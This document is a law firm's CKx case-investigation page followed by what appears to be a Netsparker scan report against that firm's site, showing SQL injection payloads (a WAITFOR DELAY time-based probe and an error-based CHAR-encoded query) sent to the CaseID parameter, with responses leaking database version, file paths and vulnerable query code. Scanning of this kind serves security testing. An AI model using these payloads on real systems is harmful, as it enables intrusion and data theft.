<li class="last_item"><a href="/practice-areas.html?action=practiceAreaDetail&PracticeAreaID=5" class="sub_button">Insurance Litigation</a></li>

</ul>

</li>
<li class="bt_5"><a href="/institutional-investor-services.html " class="top"></a>

<ul class="sub_5">

<li><a href="/institutional-investor-services/portfolio-monitoring.html" class="sub_button">Portfolio Monitoring</a></li>

<li><a href="/institutional-investor-services/case-evaluation.html" class="sub_button">Case Evaluation</a></li>

<li><a href="/institutional-investor-services/litigation-services-for-investors.html" class="sub_button">Litigation Services</a></li>

<li><a href="/institutional-investor-services/global-client-services.html" class="sub_button">Global Client Services</a></li>

<li><a href="/institutional-investor-services/global-client-services/global-client-services-israel.html" class="sub_button">Global Client Services - Israel</a></li>

<li><a href="/institutional-investor-services/corporate-governance.html" class="sub_button">Corporate Governance</a></li>

<li class="last_item"><a href="/institutional-investor-services/institutional-investor-faq.html" class="sub_button">Institutional Investor FAQ</a></li>

</ul>

</li>
<li class="bt_6_sel"><a href="/cases.html" class="top"></a>

</li>
<li class="bt_7"><a href="/locations.html" class="top"></a></li>
<li class="bt_8"><a href="/contact-us.html" class="top"></a></li>
</ul>
</div> <!-- End menu-->


<div id="header"> <!-- Start header-->

<div id="logo"><a href="/home.html"><img src="/images/inner_logo.jpg" alt="" border="0" /></a></div> <!-- Logo-->
<div id="page_title">






<h1>CKx</h1>



</div> <!-- Page Title-->
</div> <!-- End header-->


<div id="page_content"> <!-- Start content-->




<div id="left_menu"> <!-- Start left menu-->

<ul class="arrow reset">
<li><a href="/cases.html" class="lt_menu">Cases</a></li>

</ul>
<hr />

<ul class="arrow reset">
<li><a href="/the-firm/what-makes-pomerantz-unique.html" class="lt_menu">What Makes Pomerantz Unique</a></li>
<li><a href="/institutional-investor-services.html" class="lt_menu">Institutional Investor Services</a><br /></li><br />
</ul>

</div> <!-- End left menu-->




<div id="right_content_inner"><!-- Start right content-->











<div id="case">
<div class="column_lt">

<p class="item_name">Symbol:</p>
<p>CKXE</p>

<p class="item_name">Class Period:</p>
<p> &#8211; </p>

<p class="item_name">Status:</p>
<p>Active</p>

<p class="item_name">Documents:</p>

</div>
<div class="column_rt">
<img src="" height="132px" width="226px" alt="" />
<p class="item_name">Case Updates via RSS:</p>
<span><a href="/casexml/case102.xml"><img src="images/xml_icon.gif" alt="" /></a></span>
<p class="item_name">Case Updates via Email </p>
<form id="update" method="post" action="/case-form.cfm">
<input type="hidden" name="CaseID" value="102" />
<input type="text" tabindex="1" name="email" id="email"/>
<input type="submit" tabindex="2" value="" id="go"/>
</form>
</div>
<div class="clr"></div>
</div>
<div class="clr"></div>
<div class="wysiwyg"><p><p>&nbsp;&nbsp;&nbsp;&nbsp; Pomerantz is investigating potential claims on behalf of investors of CKx, Inc. (&ldquo;CKx&rdquo; or the &ldquo;Company&rdquo;) (NASDAQ: CKXE) concerning the proposed acquisition of CKx by Apollo Global Management in a transaction valued at $511 million.<br />&nbsp;&nbsp;&nbsp; The investigation concerns whether the board of directors breached their fiduciary duties by failing to adequately shop the Company and maximize shareholder value. Under the terms of the agreement, CKx shareholders will receive $5.50 in cash per share. At least one analyst has valued the stock as high as $8.00 per share.&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp; CKx shareholders seeking more information about this acquisition are advised to contact Gustavo Bruckner, Esq. at gfbruckner@pomlaw.com or 212-661-1100 or toll free at 888-476-6529, ext. 302. Shareholders may also contact Rachelle R. Boyle at rrboyle@pomlaw.com or 212-661-1100 or 888-476-6529, ext. 237.</p> </p></div>

<a href="cases.html">Back</a>





<br /><br />

<!-- ADDTHIS BUTTON BEGIN -->
<br /><br />
<table width="500" id="toolbox">
<tr><td width="250">
<p><script type="text/javascript">
addthis_pub = 'y2kesq'; addthis_options = 'email, favorites, linkedin, twitter, digg, delicious, google, facebook, stumbleupon, reddit, more';
</script><a href="http://www.addthis.com/bookmark.php" onmouseOver="return addthis_open(this, '', 'http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID=102', 'CKx')" onmouseOut="addthis_close()" onclick="return addthis_sendto()"><img src="http://s7.addthis.com/button1-share.gif" width="125" height="16" border="0" alt="Bookmark" /></a><script type="text/javascript" src="http://s7.addthis.com/js/152/addthis_widget.js"></script></p>
<!-- ADDTHIS BUTTON END -->
</td>
</tr>
<tr>
<td width="250">
<a href="http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID=102&print=1"><img src="/images/printericon.jpg" width="40"></a>
</td>
</tr>
</table>
</div> <!-- End right content-->


</div> <!-- End content-->
<div id="footer"> <!-- Start Footer-->

<div id="footer_menu"><a href="/the-firm.html">The Firm</a> <a href="/Locations.html">Locations</a> <a href="/attorneys.html">Attorneys</a> <a href="/other/class-action-faqs.html">Class Action FAQ&lsquo;s</a> <a href="/other/disclaimer.html">Disclaimer</a> <a href="/other/privacy.html">Privacy</a> <a href="/other/site-map.html">Site Map</a> <a href="/other/search.html">Search</a></div>
<div id="footer_right">
<p>Copyright 2008. Pomerantz Haudek Grossman &amp; Gross LLP</p>

<p>Attorney Advertising. Prior results do not guarantee a similar outcome</p>
<a href=" http://www.elawmarketing.com " target="_blank">Law firm website by eLawMarketing</a>
</div>
</div> <!-- End Footer-->
</div> <!-- End wrapper-->
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-10112362-1");
pageTracker._trackPageview();
} catch(err) {}</script>
</body>
</html>
Database Error Message

Database Error Message

1 TOTAL
LOW
Netsparker identified a database error message.

Impact

The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. In rare conditions this may be a clue for an SQL Injection vulnerability. Most of the time Netsparker will detect and report that problem separately.

Remedy

Do not provide any error messages on production environments. Save error messages with a reference number to a backend storage such as a text file or database, then show this number and a static user-friendly error message to the user.
- /cases.html

/cases.html

http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID=1;WAITFOR%20DELAY%20%270:0:25%27--

Parameters

Parameter Type Value
action GET caseDetail
CaseID GET 1;WAITFOR DELAY '0:0:25'--

Request

GET /cases.html?action=caseDetail&CaseID=1;WAITFOR%20DELAY%20%270:0:25%27-- HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.pomerantzlaw.com
Cookie: CFID=dd27729d%2D7507%2D447b%2Dab05%2D0797faceaf59; CFTOKEN=0
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Thu, 12 May 2011 11:51:34 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Railo-Version: 3.2.2.000
Content-Length: 22591
Content-Type: text/html; charset=UTF-8


<!-- Railo [3.2.2.000] Error -->







<script>

var plus='/railo-context/admin/resources/img/debug_plus.gif.cfm';
var minus='/railo-context/admin/resources/img/debug_minus.gif.cfm';

function oc(id) {
var code=document.getElementById('__cp'+id);
var button=document.images['__btn'+id];
if(code.style) {
if(code.style.position=='absolute') {
code.style.position='relative';
code.style.visibility='visible';
}
else {
code.style.position='absolute';
code.style.visibility='hidden';
}
if((button.src+"").indexOf(plus)!=-1)button.src=minus;
else button.src=plus;
}
}
</script>
<table border="0" cellpadding="4" cellspacing="2" style="font-family : Verdana, Geneva, Arial, Helvetica, sans-serif;font-size : 11px;background-color:red;border : 1px solid black;;">
<tr>
<td colspan="2" style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Railo 3.2.2.000 Error (database)</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Message</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">Line 2: Incorrect syntax near '0'.</td>
</tr>







<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">SQL</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;"><br /> SELECT pomlaw_Case.Document5,pomlaw_Case.Document4,pomlaw_Case.Document3,pomlaw_Case.TitleTag,pomlaw_Case.Document10,pomlaw_Case.Document2,pomlaw_Case.Document1,pomlaw_Case.DisplayOrder,pomlaw_Case.ClassStartData,pomlaw_Case.PracticeArea,pomlaw_Case.DescriptionTag,pomlaw_Case.DisplayOn,pomlaw_Case.Tagline,pomlaw_Case.CaseID,pomlaw_Case.StockSymbol,pomlaw_Case.Status,pomlaw_Case.Content,pomlaw_Case.ClassEndData,pomlaw_Case.Document9,pomlaw_Case.Document8,pomlaw_Case.Document7,pomlaw_Case.Thumbnail,pomlaw_Case.Title,pomlaw_Case.Document6 FROM pomlaw_Case WHERE pomlaw_Case.CaseID = '1;WAITFOR DELAY '0:0:25'--' <br /> </td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">DatabaseName</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">Microsoft SQL Server</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">DatabaseVersion</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">8.00.2039</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">DriverName</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">Microsoft SQL Server 2005 JDBC Driver</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">DriverVersion</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">1.2.2828.100</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Datasource</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">pomlaw</td>
</tr>






<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Stacktrace</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">
The Error Occurred in<br />




<img src="/railo-context/admin/resources/img/debug_minus.gif.cfm"
style="margin-top:2px;"
onclick="oc('1');"
name="__btn1"/>


<b> C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc: line 251</b><br />

<blockquote style="font-size : 10;" id="__cp1">
249: &lt;cfelse&gt;<br>250: &lt;cfquery name=&quot;RecordSet&quot; datasource=&quot;#variables.Datasource#&quot;&gt;<br><b>251: #preservesinglequotes(SQLScript)#</b><br>252: &lt;/cfquery&gt;<br>253: &lt;/cfif&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('2');"
name="__btn2"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc: line 368<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp2">
366: };<br>367: CompleteSQL = &quot;SELECT #SelectSQL# FROM #TableName# #JoinSQL# WHERE #BaseFilter# #ExtendedFilter# &quot;;<br><b>368: Recordset = executeSQL(CompleteSQL);</b><br>369: &lt;/cfscript&gt;<br>370: &lt;cfreturn Recordset&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('3');"
name="__btn3"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseService.cfc: line 251<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp3">
249: }<br>250: else {<br><b>251: Recordset = variables[ObjectName &amp; &quot;DAO&quot;].getbyProperty(argumentCollection=arguments);</b><br>252: };<br>253: Object.loadQuery(Recordset);<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('4');"
name="__btn4"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseService.cfc: line 196<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp4">
194: var Object = &quot;&quot;;<br>195: arguments.PropertyName = IDPropertyName;<br><b>196: Object = getByProperty(ArgumentCollection=Arguments);</b><br>197: &lt;/cfscript&gt;<br>198: &lt;cfreturn Object&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('5');"
name="__btn5"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseObject.cfc: line 169<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp5">
167: {<br>168: // The physical method exists, so call it<br><b>169: Response = evaluate(&quot;#MethodName#(argumentCollection=ArgumentStruct)&quot;);</b><br>170: }<br>171: Else<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('6');"
name="__btn6"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseFeature.cfc: line 197<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp6">
195: // Process any dynamic parameters<br>196: Arguments = evaluateArguments(Arguments, PageRequest);<br><b>197: Response.Data = ServiceClass.Call(Method, Arguments);</b><br>198: Response.Screen = screen;<br>199: &lt;/cfscript&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('7');"
name="__btn7"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseObject.cfc: line 205<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp7">
203: };<br>204: // Add any runtime properties passed in via the argument struct<br><b>205: Response = evaluate(&quot;#Properties[&quot;Type&quot;]#(ArgumentCollection=Properties)&quot;);</b><br>206: &lt;/cfscript&gt;<br>207: &lt;cfreturn Response&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('8');"
name="__btn8"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseObject.cfc: line 176<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp8">
174: {<br>175: // The virtual method exists, call that <br><b>176: Response = runMethod(MethodName, ArgumentStruct);</b><br>177: }<br>178: Else<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('9');"
name="__btn9"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseFeature.cfc: line 394<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp9">
392: MethodName = Metadata.get(&quot;DefaultAction&quot;);<br>393: }<br><b>394: Response = call(MethodName, ArgumentsStruct);</b><br>395: &lt;/cfscript&gt;<br>396: &lt;cfreturn Response&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('10');"
name="__btn10"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\controller\ContentAreaController.cfc: line 57<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp10">
55: };<br>56: // Call the appropriate feature for this page <br><b>57: Response = variables[PageFeature &amp; &quot;Feature&quot;].callAction(Action, PageRequest); </b><br>58: };<br>59: };<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('11');"
name="__btn11"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\LightBase.cfc: line 72<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp11">
70: <br>71: // Process the main content area before the template to make sure to have the data in case it is required elsewhere<br><b>72: MainContentArea = ContentAreaController.mainContentArea(PageRequest);</b><br>73: // Save that data to the page request object<br>74: PageRequest.set(&quot;MainContentArea&quot;, MainContentArea);<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('12');"
name="__btn12"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\index.cfm: line 30<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp12">
28: Page.FilePath = &quot;home&quot;;<br>29: };<br><b>30: Request.LightBase.processPage(Page);</b><br>31: &lt;/cfscript&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('13');"
name="__btn13"/>


<b>called from</b>C:\data\cweb03\LightBase2\applications\pomlaw\wwwroot\cases.cfm: line 1<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp13">
<b>1: &lt;cfset Page.FilePath = 'cases'&gt;&lt;cfinclude template='/lightbase2/framework/index.cfm'&gt;</b><br><br />
</blockquote>

</td>
</tr>


<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;" nowrap="nowrap">Java Stacktrace</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;"><pre>Line 2: Incorrect syntax near '0'.
at com.microsoft.sqlserver.jdbc.SQLServerException.makeFromDatabaseError(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.getNextResult(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.doExecuteStatement(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement$StmtExecCmd.doExecute(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.TDSCommand.execute(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerConnection.executeCommand(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.executeCommand(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.executeStatement(Unknown Source):-1
at com.microsoft.sqlserver.jdbc.SQLServerStatement.execute(Unknown Source):-1
at railo.runtime.type.QueryImpl.&lt;init&gt;(QueryImpl.java:218):218
at railo.runtime.tag.Query.executeDatasoure(Query.java:580):580
at railo.runtime.tag.Query.doEndTag(Query.java:434):434
at framework.base.basedao_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc:251):251
at framework.base.basedao_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc):-1
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394
at railo.runtime.type.UDFImpl.call(UDFImpl.java:359):359
at railo.runtime.util.VariableUtilImpl.callFunctionWithoutNamedValues(VariableUtilImpl.java:738):738
at railo.runtime.PageContextImpl.getFunction(PageContextImpl.java:1438):1438
at framework.base.basedao_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc:368):368
at framework.base.basedao_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc):-1
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394
at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352
at railo.runtime.ComponentImpl._call(ComponentImpl.java:572):572
at railo.runtime.ComponentImpl._call(ComponentImpl.java:500):500
at railo.runtime.ComponentImpl.callWithNamedValues(ComponentImpl.java:1760):1760
at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:769):769
at railo.runtime.PageContextImpl.getFunctionWithNamedValues(PageContextImpl.java:1453):1453
at framework.base.baseservice_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc:251):251
at framework.base.baseservice_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc):-1
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394
at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352
at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:774):774
at railo.runtime.PageContextImpl.getFunctionWithNamedValues(PageContextImpl.java:1453):1453
at framework.base.baseservice_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc:196):196
at framework.base.baseservice_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseService.cfc):-1
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at railo.runtime.type.UDFImpl._call(UDFImpl.java:394):394
at railo.runtime.type.UDFImpl.callWithNamedValues(UDFImpl.java:352):352
at railo.runtime.util.VariableUtilImpl.callFunctionWithNamedValues(VariableUtilImpl.java:760):760
at railo.runtime.util.VariableUtilImpl.callFunction(VariableUtilImpl.java:705):705
at railo.runtime.interpreter.ref.func.UDFCall.getValue(UDFCall.java:52):52
at railo.runtime.interpreter.CFMLExpressionInterpreter.interpret(CFMLExpressionInterpreter.java:179):179
at railo.runtime.interpreter.CFMLExpressionInterpreter.interpret(CFMLExpressionInterpreter.java:221):221
at railo.runtime.PageContextImpl.evaluate(PageContextImpl.java:2662):2662
at railo.runtime.functions.dynamicEvaluation.Evaluate._call(Evaluate.java:72):72
at railo.runtime.functions.dynamicEvaluation.Evaluate.call(Evaluate.java:65):65
at framework.base.baseobject_cfc$cf.udfCall2(C:\data\cweb03\LightBase2\framework\base\BaseObject.cfc:169):169
at framework.base.baseobject_cfc$cf.udfCall(C:\data\cweb03\LightBase2\framework\base\BaseObject.cfc):-1
at railo.runtime.type.UDFImpl.implementation(UDFImpl.java:226):226
at rail..
Microsoft SQL Server Identified

Microsoft SQL Server Identified

1 TOTAL
INFORMATION
CONFIRMED
1
Netsparker identified that the target web site is using Microsoft SQL Server as backend database. This issue is reported for information purposes only.

Impact

This issue is reported as additional information only, there is no direct impact arising from this issue.
- /cases.html

/cases.html CONFIRMED

http://www.pomerantzlaw.com/cases.html?action=caseDetail&CaseID='%2B%20(select+convert(int,CHAR(95)%..

Request

GET /cases.html?action=caseDetail&CaseID='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B' HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.pomerantzlaw.com
Cookie: CFID=dd27729d%2D7507%2D447b%2Dab05%2D0797faceaf59; CFTOKEN=0
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Thu, 12 May 2011 11:48:46 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Railo-Version: 3.2.2.000
Content-Length: 22815
Content-Type: text/html; charset=UTF-8


<!-- Railo [3.2.2.000] Error -->







<script>

var plus='/railo-context/admin/resources/img/debug_plus.gif.cfm';
var minus='/railo-context/admin/resources/img/debug_minus.gif.cfm';

function oc(id) {
var code=document.getElementById('__cp'+id);
var button=document.images['__btn'+id];
if(code.style) {
if(code.style.position=='absolute') {
code.style.position='relative';
code.style.visibility='visible';
}
else {
code.style.position='absolute';
code.style.visibility='hidden';
}
if((button.src+"").indexOf(plus)!=-1)button.src=minus;
else button.src=plus;
}
}
</script>
<table border="0" cellpadding="4" cellspacing="2" style="font-family : Verdana, Geneva, Arial, Helvetica, sans-serif;font-size : 11px;background-color:red;border : 1px solid black;;">
<tr>
<td colspan="2" style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Railo 3.2.2.000 Error (database)</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Message</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">Syntax error converting the varchar value '_!@2dilemma' to a column of data type int.</td>
</tr>







<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">SQL</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;"><br /> SELECT pomlaw_Case.Document5,pomlaw_Case.Document4,pomlaw_Case.Document3,pomlaw_Case.TitleTag,pomlaw_Case.Document10,pomlaw_Case.Document2,pomlaw_Case.Document1,pomlaw_Case.DisplayOrder,pomlaw_Case.ClassStartData,pomlaw_Case.PracticeArea,pomlaw_Case.DescriptionTag,pomlaw_Case.DisplayOn,pomlaw_Case.Tagline,pomlaw_Case.CaseID,pomlaw_Case.StockSymbol,pomlaw_Case.Status,pomlaw_Case.Content,pomlaw_Case.ClassEndData,pomlaw_Case.Document9,pomlaw_Case.Document8,pomlaw_Case.Document7,pomlaw_Case.Thumbnail,pomlaw_Case.Title,pomlaw_Case.Document6 FROM pomlaw_Case WHERE pomlaw_Case.CaseID = ''+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' <br /> </td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">DatabaseName</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">Microsoft SQL Server</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">DatabaseVersion</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">8.00.2039</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">DriverName</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">Microsoft SQL Server 2005 JDBC Driver</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">DriverVersion</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">1.2.2828.100</td>
</tr>

<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Datasource</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">pomlaw</td>
</tr>






<tr>
<td style="border : 1px solid #350606;background-color :#FFB200;font-weight:bold;">Stacktrace</td>
<td style="border : 1px solid #350606;background-color :#FFCC00;">
The Error Occurred in<br />




<img src="/railo-context/admin/resources/img/debug_minus.gif.cfm"
style="margin-top:2px;"
onclick="oc('1');"
name="__btn1"/>


<b> C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc: line 251</b><br />

<blockquote style="font-size : 10;" id="__cp1">
249: &lt;cfelse&gt;<br>250: &lt;cfquery name=&quot;RecordSet&quot; datasource=&quot;#variables.Datasource#&quot;&gt;<br><b>251: #preservesinglequotes(SQLScript)#</b><br>252: &lt;/cfquery&gt;<br>253: &lt;/cfif&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('2');"
name="__btn2"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseDAO.cfc: line 368<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp2">
366: };<br>367: CompleteSQL = &quot;SELECT #SelectSQL# FROM #TableName# #JoinSQL# WHERE #BaseFilter# #ExtendedFilter# &quot;;<br><b>368: Recordset = executeSQL(CompleteSQL);</b><br>369: &lt;/cfscript&gt;<br>370: &lt;cfreturn Recordset&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('3');"
name="__btn3"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseService.cfc: line 251<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp3">
249: }<br>250: else {<br><b>251: Recordset = variables[ObjectName &amp; &quot;DAO&quot;].getbyProperty(argumentCollection=arguments);</b><br>252: };<br>253: Object.loadQuery(Recordset);<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('4');"
name="__btn4"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseService.cfc: line 196<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp4">
194: var Object = &quot;&quot;;<br>195: arguments.PropertyName = IDPropertyName;<br><b>196: Object = getByProperty(ArgumentCollection=Arguments);</b><br>197: &lt;/cfscript&gt;<br>198: &lt;cfreturn Object&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('5');"
name="__btn5"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseObject.cfc: line 169<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp5">
167: {<br>168: // The physical method exists, so call it<br><b>169: Response = evaluate(&quot;#MethodName#(argumentCollection=ArgumentStruct)&quot;);</b><br>170: }<br>171: Else<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('6');"
name="__btn6"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseFeature.cfc: line 197<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp6">
195: // Process any dynamic parameters<br>196: Arguments = evaluateArguments(Arguments, PageRequest);<br><b>197: Response.Data = ServiceClass.Call(Method, Arguments);</b><br>198: Response.Screen = screen;<br>199: &lt;/cfscript&gt;<br><br />
</blockquote>




<img src="/railo-context/admin/resources/img/debug_plus.gif.cfm"
style="margin-top:2px;"
onclick="oc('7');"
name="__btn7"/>


<b>called from</b>C:\data\cweb03\LightBase2\framework\base\BaseObject.cfc: line 205<br />

<blockquote style="font-size : 10;position:absolute;visibility:hidden;" id="__cp7">
203: };<br>204: // Add any runtime properties passed in via the argument struct<br><b>205: Response = evaluate(&quot;#Properties[&quot;Type&quot;]#(ArgumentCollection=Properties)&quot;);</b><br>206: &lt;/cfscript&gt;<br>207: &lt;cfreturn Response&gt;<br><br />
</blockquote>




